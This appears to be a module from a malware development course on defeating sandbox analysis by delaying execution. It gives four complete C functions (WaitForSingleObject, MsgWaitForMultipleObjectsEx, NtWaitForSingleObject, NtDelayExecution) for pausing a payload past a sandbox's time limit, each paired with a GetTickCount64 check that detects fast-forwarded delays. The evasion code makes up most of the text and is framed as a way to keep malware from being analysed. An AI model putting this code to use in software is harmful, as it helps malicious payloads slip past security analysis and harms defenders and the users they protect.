74. Anti-Virtual Environments - Multiple Delay Execution Techniques
Anti-Virtual Environments - Multiple Delay Execution Techniques
Introduction
Delay execution is a common technique utilized to bypass sandboxed environments. Sandboxes typically have time constraints that prevent them from analyzing a binary for a long duration. Therefore, malware can introduce long pauses in code execution that forces the sandbox to terminate before being able to analyze the binary.
A sandbox with a two-minute analysis limit will not be able to analyze a payload if the malware sample executes a wait function for three minutes before decrypting and executing it.
This module will introduce functions that can be used to delay the execution of the payload if a sandbox environment is detected.
Detecting Fast-Forwards
Several malware samples have taken advantage of delays in execution, so the majority of sandboxes have implemented mitigations to counter execution delays. Such mitigations may involve fast-forwarding the delay durations, either by changing the parameters passed through API hooking or via other approaches. Verifying that the delay has taken place is essential, and can be achieved using the WinAPI, GetTickCount64.
The delay function then would look something like the following.
BOOL DelayFunction(DWORD dwMilliSeconds){
DWORD T0 = GetTickCount64();
// The code needed to delay the execution for 'dwMilliSeconds' ms
DWORD T1 = GetTickCount64();
// Slept for at least 'dwMilliSeconds' ms, then 'DelayFunction' succeeded
if ((DWORD)(T1 - T0) < dwMilliSeconds)
return FALSE;
else
return TRUE;
}
Delaying Execution Via WaitForSingleObject
The WaitForSingleObject WinAPI has been used throughout this course to wait for a specific object to be in a signaled state or for a time-out to occur. In this section, WaitForSingleObject will be used to wait for an empty event created using CreateEvent, meaning it will wait for a time-out to occur.
The DelayExecutionVia_WFSO function has one parameter, ftMinutes, that represents the time to delay the execution in minutes. The function returns TRUE if WaitForSingleObject succeeded in delaying the execution for the specified duration.
BOOL DelayExecutionVia_WFSO(FLOAT ftMinutes) {
// converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
DWORD _T0 = NULL,
_T1 = NULL;
_T0 = GetTickCount64();
// Sleeping for 'dwMilliSeconds' ms
if (WaitForSingleObject(hEvent, dwMilliSeconds) == WAIT_FAILED) {
printf("[!] WaitForSingleObject Failed With Error : %d \n", GetLastError());
return FALSE;
}
_T1 = GetTickCount64();
// Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_WFSO' succeeded, otherwize it failed
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
CloseHandle(hEvent);
return TRUE;
}
Delaying Execution Via MsgWaitForMultipleObjectsEx
Another WinAPI that can be used for execution delays is the MsgWaitForMultipleObjectsEx WinAPI. It essentially fulfills that same task as WaitForSingleObject and was also demonstrated in previous modules.
The DelayExecutionVia_MWFMOEx function uses the same logic shown in the previous section except here it utilizes the MsgWaitForMultipleObjectsEx WinAPI. The function has one parameter, ftMinutes, that represents the time to delay the execution in minutes. The function returns TRUE if MsgWaitForMultipleObjectsEx succeeded in delaying the execution for the specified duration.
BOOL DelayExecutionVia_MWFMOEx(FLOAT ftMinutes) {
// Converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
DWORD _T0 = NULL,
_T1 = NULL;
_T0 = GetTickCount64();
// Sleeping for 'dwMilliSeconds' ms
if (MsgWaitForMultipleObjectsEx(1, &hEvent, dwMilliSeconds, QS_HOTKEY, NULL) == WAIT_FAILED) {
printf("[!] MsgWaitForMultipleObjectsEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
_T1 = GetTickCount64();
// Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_MWFMOEx' succeeded, otherwize it failed
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
CloseHandle(hEvent);
return TRUE;
}
Delaying Execution Via NtWaitForSingleObject
Code execution delays can also be done via the NtWaitForSingleObject syscall. NtWaitForSingleObject is the native API version of WaitForSingleObject and performs the same functionality. NtWaitForSingleObject is shown below.
NTSTATUS NtWaitForSingleObject(
[in] HANDLE Handle, // Handle to the wait object
[in] BOOLEAN Alertable, // Whether an alert can be delivered when the object is waiting
[in] PLARGE_INTEGER Timeout // Pointer to LARGE_INTEGER structure specifying time to wait for
);
The wait time for NtWaitForSingleObject is specified in 100-nanosecond negative intervals which are often referred to as ticks. A single tick is equivalent to 0.0001 milliseconds. The value passed to the syscall via the Timeout parameter should be the negative value of dwMilliSeconds x 10000, where dwMilliSeconds is the time to wait in milliseconds.
The DelayExecutionVia_NtWFSO function below uses the NtWaitForSingleObject syscall to delay the execution for a given time specified by the ftMinutes parameter. ftMinutes represents the time to delay the execution in minutes. It returns TRUE if NtWaitForSingleObject succeeds in delaying the execution for the specified duration.
typedef NTSTATUS (NTAPI* fnNtWaitForSingleObject)(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
BOOL DelayExecutionVia_NtWFSO(FLOAT ftMinutes) {
// Converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
LONGLONG Delay = NULL;
NTSTATUS STATUS = NULL;
LARGE_INTEGER DelayInterval = { 0 };
fnNtWaitForSingleObject pNtWaitForSingleObject = (fnNtWaitForSingleObject)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtWaitForSingleObject");
DWORD _T0 = NULL,
_T1 = NULL;
// Converting from milliseconds to the 100-nanosecond - negative time interval
Delay = dwMilliSeconds * 10000;
DelayInterval.QuadPart = - Delay;
_T0 = GetTickCount64();
// Sleeping for 'dwMilliSeconds' ms
if ((STATUS = pNtWaitForSingleObject(hEvent, FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
printf("[!] NtWaitForSingleObject Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
_T1 = GetTickCount64();
// Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_NtWFSO' succeeded
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
CloseHandle(hEvent);
return TRUE;
}
Delaying Execution Via NtDelayExecution
The last method in this module to delay execution is using the NtDelayExecution syscall. The name makes it obvious that the syscall is made for delaying the execution of code for synchronization. NtDelayExecution is similar to NtWaitForSingleObject with the exception that an object handle is not needed to wait on; its functionality is similar to Sleep, suspending the current code's execution cycle. NtDelayExecution is shown below.
NTSTATUS NtDelayExecution(
IN BOOLEAN Alertable, // Whether an alert can be delivered when the object is waiting
IN PLARGE_INTEGER DelayInterval // Pointer to LARGE_INTEGER structure specifying time to wait for
);
NtDelayExecution uses ticks for its DelayInterval parameter.
The DelayExecutionVia_NtDE function below uses the NtDelayExecution syscall to delay execution for the given time ftMinutes which represents the time to wait for in minutes. It returns TRUE if NtDelayExecution succeeds in delaying the execution for the specified duration.
typedef NTSTATUS (NTAPI *fnNtDelayExecution)(
BOOLEAN Alertable,
PLARGE_INTEGER DelayInterval
);
BOOL DelayExecutionVia_NtDE(FLOAT ftMinutes) {
// Converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
LARGE_INTEGER DelayInterval = { 0 };
LONGLONG Delay = NULL;
NTSTATUS STATUS = NULL;
fnNtDelayExecution pNtDelayExecution = (fnNtDelayExecution)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtDelayExecution");
DWORD _T0 = NULL,
_T1 = NULL;
// Converting from milliseconds to the 100-nanosecond - negative time interval
Delay = dwMilliSeconds * 10000;
DelayInterval.QuadPart = - Delay;
_T0 = GetTickCount64();
// Sleeping for 'dwMilliSeconds' ms
if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
printf("[!] NtDelayExecution Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
_T1 = GetTickCount64();
// Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_NtDE' succeeded, otherwize it failed
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
return TRUE;
}
Demo
The image below shows the techniques described in this module. The delay for execution is set to 6 seconds or 0.1 minute(s).
